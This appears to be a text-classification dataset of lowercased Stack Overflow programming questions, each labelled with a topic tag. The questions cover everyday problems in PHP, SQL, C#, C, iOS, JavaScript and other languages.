html injection question  using freetextbox  i m capturing html-formatted text. the purpose is to allow a website owner to update their web page content on a few pages. i have the system completed except for knowing what to do with the resultant html markup.    after the page editor completes their work  i can get the output from freetextbox  in html format  like so: <code>&lt;font color= #000080 &gt;&lt;b&gt;this is some text.&lt;/b&gt;&lt;/font&gt;</code>    i tried storing it as escaped markup in web.config  but that didn t work since it kept hosing the tags even after i changed them to escaped characters  like so: <code>&amp;lt;font color=&amp;quot;#000080&amp;quot;&amp;gt;</code>    the reason i wanted to store this kind of string as a key in web.config is that i could successfully store a static string  set a lebel s value to it  and successfully render the text. but when i try to escape it  it gets reformatted in web.config by .net somehow.    so i escaped all the characters  encoded them as base64 and stored that. then on page_load  i tried to decode it  but it just shows up as text  with all the html tags showing as well - it doesn t get rendered. i know a million people use this control  but i m damned if i can figure out how to do it right.    so here s my question: how can i inject the saved html into an edited page so it shows up in browsers like the editor wants it to look,asp.net
why is my sql returning 0 rows when comparing the current time to a timestamp column   i want to determine if a user has an active subscription.  so the activation_date column must be less than the current time and the expiration_date column must be greater than the current time.  the query always returns 0 results.  why is this   here is my mysql statement:   <pre><code>select      `s`.`subscription_id`  `s`.`plan_id`  `s`.`member_id`  `s`.`activation_date`  `s`.`expiration_date`  `s`.`period` as cycle  `s`.`amount`       `p`.`plan_id`  `p`.`title` as plan_title  from (`subscriptions` as s) left join `plans` as p on `s`.`plan_id` = `p`.`plan_id`  where `s`.`member_id` =  1       and `s`.`activation_date` &lt;=  now()       and `s`.`expiration_date` &gt;=  now()   limit 1 </code></pre>   here are the table results:    <a href= https://i.stack.imgur.com/d5vc5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/d5vc5.png  alt= enter image description here ></a>,mysql
anyway to submit a form with validation  i am building a form where if you click submit it will direct you to another page. but before that happens all the required fields must be filled out. is there a way to check that. it is because when i have    <pre><code>&gt; &lt;button class= button  class= btn btn-warning  &gt;&lt;a &gt; href= www.google.com &gt;submit&lt;/a&gt;&lt;/button&gt; </code></pre>   it directly direct you to the link but it doesn t check if the required field is correctly filled out or if it is filled out at all. if i dont have link there <code>&lt;a href= www.google.com &gt;</code> then it checks validation like i want to. is there a way to check validation then click submit if successful then take to new link and if not successful alert    i believe we have to do javascript but is there to do just html,html
ads in contracted android app  i ve written a small android app for a client. the client now wishes to put ads in this app. the client has no programming skills at all  but apparently does have a google play developer account  as he was able to upload the .apk file to google play. i can add whatever code or keys necessary to the app  but since the client is paying the bills  whatever ad revenue the ads generate  should go to him. since i ve never put ads in any of the apps i ve written  i need some basic information on how complex this would be  and how to do it  so that i can quote him an accurate figure on how much it would cost.,android
making a file accessible to scripts but not users  i have uploaded scripts to users servers. i don t want others to access this script through the browser  however  i want a script to be able to access it.     placing the file outside of the public_html is not an option here because it really needs to be in the public_html. any ideas    thanks.,php
would a physical keyboard prevent a inputaccessoryview from appearing   i ve added an inputaccessoryview to the ios keyboard for certain uitextfields in my app.  this accessory view provides essential functionality to the user (some buttons that are displayed nowhere else in my app).  my understanding (which could be completely wrong) is that if a physical (bluetooth) keyboard is available ios will not clutter the screen with the software keyboard.  if that s the case  users of my app with a physical keyboard will be missing some functionality and i ll need to account for that.  so the first question is  is that something i have to worry about   thanks.,ios
typedef equations in c  i have following typedef declarations in c but confused how i read these declarations.   <pre><code>   typedef char  *pc;     /* pc is pointer to char                      */    typedef pc     fpc();  /* fpc is function returning pointer to char  */    typedef fpc   *pfpc;    typedef pfpc   fpfpc();    typedef fpfpc *pfpfpc;    pfpfpc a[n]; </code></pre>   now for me first two statement is easy to read but really confused after that.    is there any way to solve(read) such equations,c
c# database update and insert  im having a databse with some customer information (customer_nr(primary key)  name  address and so on)    the informaton comes from an xml file and is stored in the databse called customer_info. now i want to update this table  example if the customer changes his address i want to update the table or  if an customer does not exist i want to insert a new row with the information. now how do i do this  ive tried alot of diffrent things but nothing seems to work.    example code:    my insert looks like this:     <pre><code>using (var cmd = new sqlcommand( insert into [customer_info] (custoner_nr  firstname lastname  adress_1....(and so on))   connection)) {               cmd.parameters.addwithvalue( @customer_nr   customernr);               cmd.parameters.addwithvalue( @firstname   fname);               cmd.parameters.addwithvalue( @lastname   lname);                cmd.executenonquery(); </code></pre>   my update looks like this:   <pre><code>using (var cmd = new sqlcommand( update [customer_info] set [customer_nr] = @customer_nr [firstname] = @firstname  [lastname] = @lastname  where (([customer_nr] = @customer_nr))   connection)) {                 cmd.parameters.addwithvalue( @custmer_nr   customernr);                 cmd.parameters.addwithvalue( @fornamn   fname);                 cmd.parameters.addwithvalue( @efternamn   lname);                 cmd.executenonquery(); </code></pre>   i ve tried to match the <code>customer_nr</code>  something like this:     <pre><code>datarow row = dataset.custmer_info.findbycustomer_nr(t.customernr); if (bla != null) {    updatecustomer(t.kontonr t.fname t.lastname....); } else {    insertcustomer(t.kontonr t.fname t.lastname....); } </code></pre>   if someone understands my problem and could help me i would be so greatful  im really stuck and what ive been testing does not work. =(,c#
best way to declare & initialize string variable in objective c  i am new to objective c. we can create string object by one of these. can anybody tell difference &amp; which is best simplest way to doing this    <pre><code>nsstring *simplestring = @ this is a simple string ; nsstring *anotherstring = [nsstring stringwithstring:@ this is another simple string ]; nsstring *onemorestring = [[nsstring alloc] initwithstring:@ one more! ]; nsmutablestring *mutableone = [nsmutablestring stringwithstring:@ mutable string ]; nsmutablestring *anothermutableone =[[nsmutablestring alloc] initwithstring:@ a retained one ]; nsmutablestring *thirdmutableone =[nsmutablestring stringwithstring:simplestring]; </code></pre>,objective-c
sql for balance inventory at the end of every month with fifo concept  for this data i want to write a procedure which will give balance inventory at the end of every month. in other words we can say that i have to find running balance at end of every month (not group by month) with fifo concept. here is the table   <pre><code>create table transactions ( [date] date  security_name varchar(20)  loc varchar(20)  investor varchar(20)  buy_sell varchar(10)  quantity numeric(11  2)  trans_rate numeric(11  2)  inventory_value numeric(11 2) )  insert into transactions values ( 1-jan-2014    hdfc    ho    os    b   125.00  125.00  null)  insert into transactions values ( 2-jan-2014    icici    ho    os    b   150.00  145.00  null)  insert into transactions values ( 3-jan-2014    axis    ho    os    b   25.00  150.00  null)  insert into transactions values ( 4-feb-2014    icici    ho    os    b   100.00  150.00  null)  insert into transactions values ( 5-feb-2014    icici    ho    os    s   50.00  185.00  null)  insert into transactions values ( 6-feb-2014    hdfc    ho    os    s   50.00  125.00  null)  insert into transactions values ( 1-mar-2014    hdfc    ho    os    b   100.00  125.00  null)  insert into transactions values ( 2-mar-2014    icici    ho    os    s   125.00  145.00  null)  insert into transactions values ( 3-mar-2014    hdfc    ho    os    s   125.00  150.00  null)  insert into transactions values ( 4-mar-2014    icici    ho    os    b   100.00  175.00  null)  insert into transactions values ( 6-mar-2014    axis    ho    os    b   125.00  125.00  null)  insert into transactions values ( 5-apr-2014    axis    ho    os    s   75.00  185.00  null)  insert into transactions values ( 6-apr-2014    icici    ho    os    s   50.00  125.00  null)  insert into transactions values ( 6-apr-2014    hdfc    ho    os    b   25.00  125.00  null)  update transactions set inventory_value=(quantity*trans_rate) </code></pre>   i am trying to get the output like this i.e. at the end of every month quantity balance (with fifo only)   <pre><code>month   security_name   loc     investor    balance_qty     inventry_value  jan     hdfc            ho      os          125             15625  jan     icici           ho      os          150             21750  jan     axis            ho      os          25              3750  feb     icici           ho      os          200             29500  feb     hdfc            ho      os          75              9375  feb     axis            ho      os          25              3750  mar     hdfc            ho      os          50              7500  mar     icici           ho      os          175             23750  mar     axis            ho      os          150             19375  apr     axis            ho      os          75              9375  apr     icici           ho      os          125             21250  apr     hdfc            ho      os          75              10625  inventory_value=(quantity*trans_rate) </code></pre>,sql
i used  from  and  to  as column titles in my database table  how do i select them   so i made a table with columns  from  and  to .    while writing to the table is fine because i am inserting one value into each column (and not referencing the columns by name)  but whenever i want to retrieve data (select)  i want to retrieve... say  only the  from  column.    except as you guessed  it interprets  from  as an sql command instead of a column name. surrounding it in quotes just makes  from  populate the result set. weird.    can i do anything short of renaming the column  (which isn t too bad  since the table really has no real data right now).    thanks!    what i have now: select from id from permissions,mysql
is writing to a file using std::ofstream slower than using std::cout and then redirecting that output to a log file  i can write data to a file using    <pre><code>std::ofstream filestream; filestream &lt;&lt;  some data ; </code></pre>   or simply do a    <pre><code>std::cout &lt;&lt;  some data ; </code></pre>   and do <code>./mybinary &gt; outfile</code>    which one is faster,c++
reading floats from file with fscanf  i have a multiline file. first line contains an integer n  followed by exactly n lines  where each of them contains a pair of floats seperated by a white space. each float has exactly two decimal digits. now i have the following simple code  which stores the floats in memory and prints them.   <pre><code>    #include &lt;stdio.h&gt;     #include &lt;stdlib.h&gt;      struct coordinates {          float x;          float y;     };      typedef struct coordinates coords;      int main(int argc  char** argv) {       unsigned int n  i;       coords *points;       file *fp;        if (argc != 2) {           printf( usage: ./bigcircle &lt;input_file&gt;\n );           exit(0);       }       fp = fopen(argv[1]   r );       n = fscanf(fp   %u   &amp;n);        points = (coords *)malloc(n*sizeof(coords));       for (i=0; i&lt;n; i++) {           fscanf(fp   %f %f   &amp;points[i].x  &amp;points[i].y);           printf( %f %f\n   points[i].x  points[i].y);       }        return 0;    } </code></pre>   the problem is that the floats printed have far more non-zero decimal digits and become the right ones only when rounded to the second decimal place. for example  for the pair   <pre><code>  99999.72 -50167.43 </code></pre>   my program prints   <pre><code>  99999.718750 -50167.429688 </code></pre>   why is this happening  why don t i get   <pre><code>  99999.720000 -50167.430000 </code></pre>,c
a mistake in my html code (somewhere )  i recently paid a coder to create some html code for my website. i have since messed with it (i know  stupid!) and it no longer works.     the image was supposed to hover to a purple image from a grey and now it no longer hovers at all.   <hr>  <pre><code>&lt;div align= center &gt;      &lt;img src= /instagram+purple.png  style= display:none  /&gt;      &lt;a style= display:inline-block         onmouseout= $(this).find( img ).attr(src= static1.squarespace.com/static/55b94761e4b0d425914723a8/t/…)   &lt;/div&gt; </code></pre>  <hr>  <pre><code>   onmouseover= $(this).find( img ).attr( src   static1.squarespace.com/static/55b94761e4b0d425914723a8/t/…;    href= instagram.com/thedistancelive ; target= _blank &gt;&lt;img    src= static1.squarespace.com/static/55b94761e4b0d425914723a8/t/…;    style= border:none;height:50px; width:50px; &gt; </code></pre>  <hr>  <pre><code>&lt;html&gt;  &lt;head&gt;  &lt;style&gt;    a {text-decoration: none; } a{color: #515253;}    a.ex1:hover  a.ex1:active {color: #5d3984;}  &lt;/style&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;p&gt;&lt;font color= #515253 &gt;&lt;p&gt;&lt;div    style= font-family:blog_script; margin-top: -10px; margin-bottom: 0px &gt;&lt;a class= ex1     href= default.asp &gt;&lt;font size=  5.5 &gt;@thedistancelive&lt;/font&gt;&lt;/p&gt;  &lt;/a&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
how do i determine a delimiter in a text file  i have 2 types of input files: 1. comma delimited (i.e: lastname  firstname  address) 2. space delimited (i.e lastname firstname address)    the comma delimited file has spaces between the     and the next word.    how do i go about determining which file i am dealing with    i am using c# btw,c#
how to make button fill table cell  i have this html ...   <pre><code>&lt;p align= center &gt; &lt;table width= 100% &gt; &lt;tr&gt; &lt;td align= center &gt;&lt;form&gt;&lt;input type=submit value= click me &gt;&lt;/form&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/p&gt; </code></pre>   ... which results in a table and button that looks like this ...    <img src= https://1.bp.blogspot.com/-xly2s4gxnwk/ue7amhshcai/aaaaaaaaacq/58fv1fquzhs/s320/my_button.png  alt= button that does not fill table >    ... which is fine  but how would i make the button fill the entire cell     thanks!,html
decompose(normalize) 1 table into 2 tables  i am having following table with near about 25000 records.   <pre><code>table namee: tblstdcods table columns: id  place  std code  state </code></pre>   is there any way to decompose table into two like this without affecting data stored in it    <pre><code>tblstdcodes: id  place  stadcode  stateid tblstate: stateid  statename   original table :  id    place        stdcode   state 1     ahmednagar    414003   maharashtra  resultanat tables :  table 1:  id    place        stdcode   state 1     ahmednagar    414003   1  table 2:  stateid  statename 1        maharashtra </code></pre>,sql
does apple  allow an account to push apps of similar kind  sold to multiple organisations   i have a customisable product sold to multiple organisations. the main intention of product is to grow my customer s business. then  is it possible to push all the customised apps from a single account.,ios
how to recover a dropped mysql database with its procedures   i had some databases on a server and mysqlserver on this server has been uninstalled accidentally by someone. i had some backups on this server and could recover all tables and their data successfully but the problem is that the events and procedures are lost. i searched a lot to know if it is possible or not and how i can recover lost events and procedures.,mysql
how to i get the date difference in days between present date and the other date is coming in as a string  <pre><code>string upgradedate =   ; timespan datedifference;  if (!sqldr.isdbnull(3)) upgradedate = sqldr.getstring(3); datedifference = (datetime.now - convert.todatetime(upgradedate)).totaldays; </code></pre>   <code>upgradedate</code> is coming in from the database as string. i am also getting an unassigned  variable error for <code>upgradedate</code> in the last line.,c#
x=600 y=1000 if x <= y is going to false   what is the proper or the correct way  i m confused about this. can someone make it correct     <code>3digit &lt;= 4digit</code> is <code>false</code><br> <code>4digit &lt;= 3digit</code> is <code>true</code>    you can test it here: <a href= https://jsfiddle.net/zcrymlsn/  rel= nofollow >jsfiddle</a>   <pre><code>&lt;h2&gt;&lt;/h2&gt; &lt;form id= send  action= #  method= post &gt;     &lt;input type= text  id= x &gt;&lt;br/&gt;     &lt;input type= text  id= y &gt;     &lt;input type= submit &gt; &lt;/form&gt; </code></pre>  <pre class= lang-js prettyprint-override ><code>$(document).ready(function() {     $( #send ).submit(function(){         var x = $( #x ).val();         var y = $( #y ).val();         if (x &lt;= y) {             $( h2 ).html( done. );         } else {             $( h2 ).html( sorry not enough cash. );         }         event.preventdefault();     }); }); </code></pre>,jquery
c++ why main works with no return value  this question is out of curiosity; while writing a main for a test program  i returned nothing from <code>main</code>(no <code>return</code> statement in <code>main</code>). but i declared main as <code>int main()</code>. and it compiled successfully.    where as if there is any other function written with a <code>int</code> return type and actually not returning an <code>int</code> i would get an error    <blockquote>     function name  must return value  </blockquote>   so why compiler doesn t complain the same for <code>main</code> function,c++
how do i generate a text message to a predefined phone number in ios 10   let s say i have the user of my app define a phone number in a setup step of my program  saved in the plist as a number with the key  phonenum . now lets say that i want to have a button in the program which  when pressed  generates a text message that says  hi! how are you today   to the phone number saved under  phonenum . is it possible to have this message auto-send without confirmation from the user  if so  can you point me in the right direction,ios
missing session data after ajax request  i have 3 page my problem is missing session data after ajax request   i have a simple form like below code when i don t  click button1  and submit form  my code works fine and i can get session values in pages3 but if  click button1 and request ajax   session data is missing in page3 please help what i do  thanks    page1.php code   <pre><code>&lt; php   session_start();   if(isset($_post[ firstname ]) ){       $_session[ firstname ]= $_post[ firstname ];   }    if(isset($_post[ lastname ])){       $_session[ lastname ]= $_post[ lastname ];   }   &gt; &lt;form id= form1  action= page3.php &gt;     first name:&lt;br&gt;     &lt;input type= text   id= firstname  name= firstname  value=  &gt;     &lt;br&gt;     last name:&lt;br&gt;     &lt;input type= text  id= lastname  name= lastname  value=  &gt;     &lt;br&gt;&lt;br&gt;     &lt;input type= submit  value= submit &gt;     &lt;br&gt;&lt;br&gt;     &lt;input type= button  id= button1  value= save &gt; &lt;/form&gt;   &lt;script type= text/javascript &gt;  $(document).ready(function(){      $( #button1 ).on( click  function(){          jquery.ajax({                type:  post                  data:  $( #form1 ).serialize()                 url:page2.php                 datatype   :  json                   encode    : true                 success: function(data){                 console.log(data);               }         });      });   }); &lt;/script&gt; </code></pre>   page2.php code   <pre><code>&lt; php   session_start();   $firstname=$_post[ firstname ];   $lastname=$_post[ lastname ];      //some code here  &gt; </code></pre>   page3.php code   <pre><code>&lt; php    session_start();    $firstname=$_session[ firstname ];    $lastname=$_session[ lastname ];      //some code here   &gt; </code></pre>,php
creating a dynamic mysql query from url paramaters  i am really trying to wrap my head around this and failing miserably. what i want to do it build a mysql query based on the url parameters passed by the url. i am trying to create a re usable dynamic script that can do what it needs to do based on the url parameter.     this is what i have come up with  and it appears that it does what it is supposed to do (no errors or anything) but nothing actually gets inserted in the database. i know somewhere i have made a dumb mistake (or thought something out wrong) so hopefully one of you guys can point me in the right direction.     thanks!   <pre><code> //list all possible variables you can expect the script to receive.  $expectedvars = array( name    email    score    age    date );  // this is used for the second part of the query (where   values  etc)  $fields = array( uname   uemail   uscore   uage   udate );   // make sure some fields are actually populated.... foreach ($expectedvars as $var) {         if (!empty($_get[$var]))     {         $fields[] = sprintf(  %s  =  %s    $var         mysql_real_escape_string($_get[$var])); } }  if (count($fields) &gt; 0) {     // construct the where clause     $whereclause =  values   . implode(    $fields);      //create the sql query itself     $sql = ( insert into $mysql_table ($fields) . $whereclause  );   echo  1 ; //it worked mysql_close($con); } else {     // return 0 if query failed.     echo  0 ; }   &gt; </code></pre>,php
why the size of struct in c is not equal the sum of all variables size; <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/119123/why-isnt-sizeof-for-a-struct-equal-to-the-sum-of-sizeof-of-each-member >why isn&#39;t sizeof for a struct equal to the sum of sizeof of each member </a>    </blockquote>     this is my struct and the size of it is 40 but the size of all variables is 34. how can i eliminate extra space of this struct    <pre><code>typedef struct { ushort sequencenumber; ushort linkcount;  ushort attributeoffset; ushort flags; ulong bytesinuse; ulong bytesallocated; ulonglong basefilerecord; ushort nextattributenumber; ushort padding; ulong mftrecordnumber; ushort updateseqnum; } file_record_header  *pfile_record_header; </code></pre>,c
troubles with insert query  i ve got table tclientspayment with fields   <pre><code>idcontract idclient last_paid_time paid left_to_pay </code></pre>   and i need to insert data from this table to another table tclientspaymentshistory with fields   <pre><code>idcontract idclient last_paid_time paid late </code></pre>   where <code>late</code> is a <code>bit</code> field. <code>late</code> can be either 0 or 1. it depends on whether client has paid till 25.xx.xxxx. if not <code>late</code> = 1.    if i make a query   <pre><code>insert into tclientpaymenthistory select idcontract         idclient         last_paid_time         paid from tclientspayments </code></pre>   then how to set <code>late</code> field in this insert query,sql
how to extract this parameter value in php  i have a url that looks like this  where comment=token3u8324349809832409 by they re separated by <code>/</code>. how can i extract the token value <code>token3u8324349809832409</code>     <pre><code>$saved_string =  http://site.com/id/12345/comment/token3u8324349809832409  </code></pre>,php
sorting struct using stl:algorithm  i was looking a way to sort struct using sort() function of stl:algorithm library. i found a couple of codes using vector to do this. for example   <pre><code>struct person {    std::string name;    int age; }; bool sort_by_name( const person &amp; lhs  const person &amp; rhs ) {    return lhs.name &lt; rhs.name; } bool sort_by_age( const person &amp; lhs  const person &amp; rhs ) {    return lhs.age &lt; rhs.age; } int main() {    std::vector&lt;person&gt; people;    // fill in the vector    std::sort( people.begin()  people.end()  sort_by_name );    std::sort( people.begin()  people.end()  sort_by_age ); } </code></pre>   i want to know is it possible to sort it without using vector.   if yes then how,c++
what angular expression to use that updates model on click   i have a couple of hidden dom-elements:   <pre><code>&lt;label ng-show= input &gt;namn&lt;/label&gt; </code></pre>   i would like them to be updated using the <code>ng-click</code>-attribute. what expression should i use,angularjs
get section cell text on custom cells button click   how can i get section cell text on custom cell button click.    is this possible     thank you,iphone
instanceof vs equals on defined string that identifies the class  i can test the class type in a program where i m working both with <code>instanceof</code> or getting a field that identifies the class appartenency. so the choice is between   <pre><code>if(myobjec instanceof something){ }  </code></pre>   and   <pre><code>if(myobjec.geclasstype().equals( something )){ } </code></pre>   what is the best in terms of efficency      <code>geclasstype()</code> is a method present in the object of the program where i m working(not a standard java method) and is a method that returns a string wih the name of the class. the name is passed as field when the object is created    <strong>edit</strong> the field that i get in the second sample in my code doesn t identify exactly the class but a category and is used also for different routines  but i can use this also for this purpose since i use a specific object for each category.  so i have reported this as <code>getclasstype</code> to make my question more clear.,java
how does <> work in sql   i have a mock exam and one of the questions is     which supplier name has not shipped a red part      the database schema is as follows     <pre><code> supplier (suppliername  city)   part(partname  color  weight)   shipment(suppliername  partname  date)   shipment(suppliername) is a f.k. onto supplier(suppliername)   shipment(partname) is a f.k. onto part(partname) </code></pre>   the query i have come up with is   <pre><code>select s.suppliername from supplier as s join shipment as sh on s.suppliername = sh.suppliername join part as p on sh.partname = p.partname where p.color &lt;&gt;  red  </code></pre>   my question is  am i using &lt;> the right way,sql
how to generate .net 4 dump files  i wanted to know if there is a possibility to dump all stack variable when an exception occurs in .net 4 so i can analyze it later (in production server)    thanks,.net
use user-agents color for links  i have a reset.css file which sets a specific color for links. i must use this reset file and i cannot remove the link color from there.    so after applying a link color in the reset  i want to override this to use the browsers  standard link color again. is this possible with css2  i m thinking somehting like:   <pre><code>a:link { color: user-agent; } </code></pre>,css
confusion about dynamic binding  as i learned from a text book  if i assign a variable name of type superclass  saying <code>newobject</code>  to an object of type subclass  and the subclass has some overridden method  saying method <code>tostring()</code>  then when i call <code>newobject.tostring()</code>  the overridden method is called  not the original method.    but in another situation  i did not this happened again. for example  my superclass named <code>ship</code>  whose subclass <code>cruiseship</code>.    <pre><code>class ship{}  class cruiseship extends ship implements serializable {     int getsize() {         return 42;// value is not important now     } } </code></pre>   i serialize instance of <code>cruiseship</code> and then de-serialize it.    <pre><code>cruiseship cs = new cruiseship(); bytearrayoutputstream baos = new bytearrayoutputstream(); objectoutputstream oos = new objectoutputstream(baos); oos.writeobject(cs); oos.close();  objectinputstream ois = new objectinputstream(new bytearrayinputstream(         baos.tobytearray())); object obj = ois.readobject(); ois.close(); </code></pre>   now the return object is of type <code>object</code>  so i type cast into type <code>ship</code>  so that i can assign it to a variable name <code>newship</code>  whose type is <code>ship</code>.     <pre><code>ship newship = (ship)obj; </code></pre>   the problem is i cannot call some method of the class <code>cuiseship</code>  saying <code>getsize()</code>     <pre><code>int size = newship.getsize();//error: method getsize() is undefined for the type ship </code></pre>   which is not defined in the superclass <code>ship</code>. only when i type cast the object into <code>cruiseship</code>  i can call the method.    <pre><code>int size = ((cruiseship)newship).getsize();//ok </code></pre>   so  what happens here  i expected that dynamic binding would allow me to use the <code>newship</code> to call the method <code>getsize()</code>  but it did not.,java
using a function to sort odd and even numbers javascript  hi everyone i am trying to make a function to sort the odd and even numbers of an array and then display the total of each to my webpage. i don t get any response when i run my code. could anyone tell me if they see something wrong i don t  thanks ahead of time.     var numlist = [1  2  3  4  5  6  7  8  9  10];   <pre><code>function numbertally(numlist){   var eventotal = 0; var oddtotal = 0;  for (var i = 0; i &lt; numlist.length; i++) {      if (i % 2) {  // i is odd          oddtotal += numlist[i];         // or oddtotal = oddtotal + numlist[i];      }     else (i % 3){  // i is even          eventotal += numlist[i];    } }  alert(oddtotal); return eventotal;  }   </code></pre>,javascript
what does this specific c++ code mean   i have this code:   <pre><code>kuvio::kuvio(piste&amp; paikka  string&amp; nimi) : paikka(paikka)  nimi(nimi) {} </code></pre>   do not care about the words. i d like to know is that a function definition  a function call or what  i m not familiar with c++.,c++
a list or array of sequential integers  i m brand new to objective-c  i ve got a decent understanding though of ruby.    i want to have a list/array of numbers going from 1  2  3  ... all the way to x (x being a maximum defined elsewhere in my code).     what is the best way to do it (x can be a high number in the millions  so entering each integer manually would be undesirable). the numbers are in normal sequence.    in ruby  i d write it something like this:   <pre><code>y = [1..x] </code></pre>,objective-c
algebraic relationships in mysql  so i am learning about algebraic relationships in database programming where we are using mysql. so lets say that we have these tables:   <pre><code>supermarket (shop_no  shop_name  location  manager_number)  manager (manager_number  manager_name  salary)  </code></pre>   an i need to obtain the shop name and location of all those shops where the shop manager earns $20 000 or more. so to does this i would do something like this:    <pre><code>select manager where salary ≥ $20 000 giving t1  join t1  supermarket over manager_no giving t2  project t2 over shop_name  location giving result  </code></pre>   so my question is  this is all good on paper  but how would i go about doing this in mysql  i tried to do the same thing on mysql but i keep getting the error:   <pre><code>error 1064 (42000): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  t1  at line 1 </code></pre>   which would mean that either mysql does something different to get the same results or im doing something wrong.,mysql
how can i add a mp3 track to a simple opengl game   i m writing a simple shooter  using basic opengl functionality (glut and glui). i d like to add a couple of mp3 tracks to the game to play conditionally (level start  death  etc.),c++
extracting float numbers from file using python  i have .txt file which looks like:   <pre><code>[ -5.44339373e+00  -2.77404404e-01   1.26122094e-01   9.83589873e-01    1.95201179e-01  -4.49866890e-01  -2.06423297e-01   1.04780491e+00]  [  4.34562117e-01  -1.04469577e-01   2.83633101e-01   1.00452355e-01   -7.12572469e-01  -4.99234705e-01  -1.93152897e-01   1.80787567e-02]  </code></pre>   i need to extract all floats from it and put them to list/array    what i ve done is this:   <pre><code>a = [] for line in open( general.txt    r ).read().split(   ):     for unit in line.split( ]   3):         a.append(list(map(lambda x: str(x)  unit.replace( [     ).replace( ]     ).split(   )))) </code></pre>   but <code>a</code> contains elements like <code>[  ]</code> or even worse <code>[ 3.20973096e-02\n ]</code>. these are all strings  but i need floats. how to do that,python
can int value be assigned to id type + objective c  i want to know if this assignment is correct   <pre><code>id var = 9; </code></pre>   will var be assigned the value 9 or do we have to wrap in some wrapper class like nsnumber,objective-c
move iphone application in background on call  i want to move application on background won call or when user press home button. please suggest,iphone
finding if a string contains a date and time  i am working on a project where i am reading in a file which could come in two different formats  one includes a date and time and the other doesn t.     when i read in the first line i need to check whether the string contains the date and time or not and read the file and based on the check read the file in a certain way.     i m guessing this would be some kind of regular expression but have no idea where to start and can t find anything relevant.    thanks for any help you can provide.     <strong>update</strong> i don t think i ve been very clear as to what i am asking. when i read the log file line by line the line may come in as:   <pre><code>col1   col2  col3  col4  col5  </code></pre>   sometimes the line may come in as    <pre><code>col1  17-02-2013 02:05:00 col2  col3  col4  col5 </code></pre>   when i read the line i need to do a check whether there is a date and time string contained within the string.,c#
what are the ranges of bands that android provide in equalizer class   by default  there are 5 bands that android provide in its equalizer class.<br> i want to know what are the ranges of each band.    that is what is the starting &amp; final range(hz/khz or any other unit) of each band.,android
regular expression parse double  i am new to regular expressions. i want to search for <code>number(19  4)</code>         and the method should return the value(in this case <code>19 4</code>). but i always get <code>0</code> as result !   <pre><code>       int length =0;        length = patternlength(datatype  ^number\\((\\d+)\\ \\s*\\)$   number );      private static double patternlengthd(string datatype  string patternstring  string startswith) {         double length=0;         if (datatype.startswith(startswith)) {             pattern patterna = pattern.compile(patternstring);             matcher matchera = patterna.matcher(datatype);                 if (matchera.find()) {                     length = double.parsedouble(matchera.group(1));              }         }         return length;     } </code></pre>,java
dimiss viewcontroller when application inactive  how to dismiss a view controller when the user is minimize/inactive the application.    situation - when user pressed on button. the app will be minimize  when user active back the application  user need to sign in again the application.,ios
access directive method from the angularjs service  i have method in directive here i need to access this method from angularjs service.     for example:    service    <pre><code>angular.module( myservicemodule   []).controller( mycontroller   [ $scope   notify   function($scope  notify) {}]).service( notify   [ $window  function(win) {             }]); </code></pre>   directive    <pre><code>angular.module( docssimpledirective   []).controller( controller   [ $scope   function($scope) {}]).directive( mycustomer   function($scope) {     $scope.enableeditor = function(){      }      return {         template:      }; }); </code></pre>   in my project i need to access directive method from angularjs. for example i have added sample code.<br> in directive i have enableeditor() method i need to be access this method form my angular services.<br> i searched on web i did not get proper solution for accessing directive method from angular service.,angularjs
using python help to get help on matchobject  i am trying to use the help() function in the python interactive shell to get help on matchobject. i have already imported re  and whether i try help(matchobject)  help(re.matchobject)  help(matchobject)  or any other variation on these above choices i get a nameerror.    i realize that i can look up help about matchobject and its methods on the internet  however i just wanted to get in the habit of using help() as my first stop for finding information about something in python (unless there are convincing arguments that this is a bad habit to get into)  and there must still be some gaps in my understanding of either help() and/or the python object hierarchy if i cannot get this to work.     thank-you,python
javascript check if window was opened by script  is it possible to check if script opened a window with javascript     i have user agreements and they are opened in new window and this works (when i try to close the window)   <pre><code>&lt;a href= javascript:window.close()  class= btn btn-default &gt;return&lt;/a&gt; </code></pre>   but what i would like to accomplish is that if user go directly to <code>/agreeement</code> and clicks close that it redirects him to the homepage. because now if i do that i get a message    <blockquote>    scripts may close only the windows that were opened by it.  </blockquote>   and i understand why. that is why i would like to make a check where if the window was not open from a script redirect to index. but i dont how would i make that check,javascript
show different partial in controller#show  i have 3 different partials  each representing a different step of this process: <code> _overview.slim </code>  <code> _setup.slim </code>  and <code> _submit.slim </code>. i want to show these 3 different partials all in <code> show.slim </code> only one at a time  and one after another as the user clicks on  go to next step . how can i accomplish this in the <code>show</code> action of my controller,ruby-on-rails
what s the meaning of  @  in c#  new learner s quick question  what s the meaning of  @  in c# codes     examples:   <pre><code>clientdatasource.where = @ it.clientid==1 ; cont.notes = @  ; response.redirect(@ ~/default.aspx ); </code></pre>   thanks!,c#
uibutton which looks like uibarbuttonitem <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/14375372/uibarbuttonitem-with-image >uibarbuttonitem with image</a>    </blockquote>     i want to create a <code>uibutton</code> which looks similar to a <code>uibarbutton</code> item (i.e. with rounded corners and gradient background) and add it to my view:    <img src= https://i.stack.imgur.com/wl0fe.png  alt= gradient button >     how can i do this,ios
vector.value is inaccessible due to its protection level  i m learning c# and ran into an error. all my methods are public. i m emulating code from a book which states  assume you have defined a class called vector and that vector is a reference type and has an int member variable called value:  and it proceeds with the program.cs code (which i copied). so i tried to emulate that vector class and when i go to compile it says vector.value is inaccessible due to its protection level.     program.cs:   <pre><code>using system;  namespace referencetype {     public class program     {         public static void main(string[] args)         {             vector x  y;             x = new vector();             x.value = 30;             console.writeline(y.value);             y.value = 50;             console.writeline(x.value);         }     } } </code></pre>   vector.cs:   <pre><code>namespace referencetype {     public class vector     {         private int value;          public int gettersetter{             get { return value; }             set { value = value; }         }     } } </code></pre>,c#
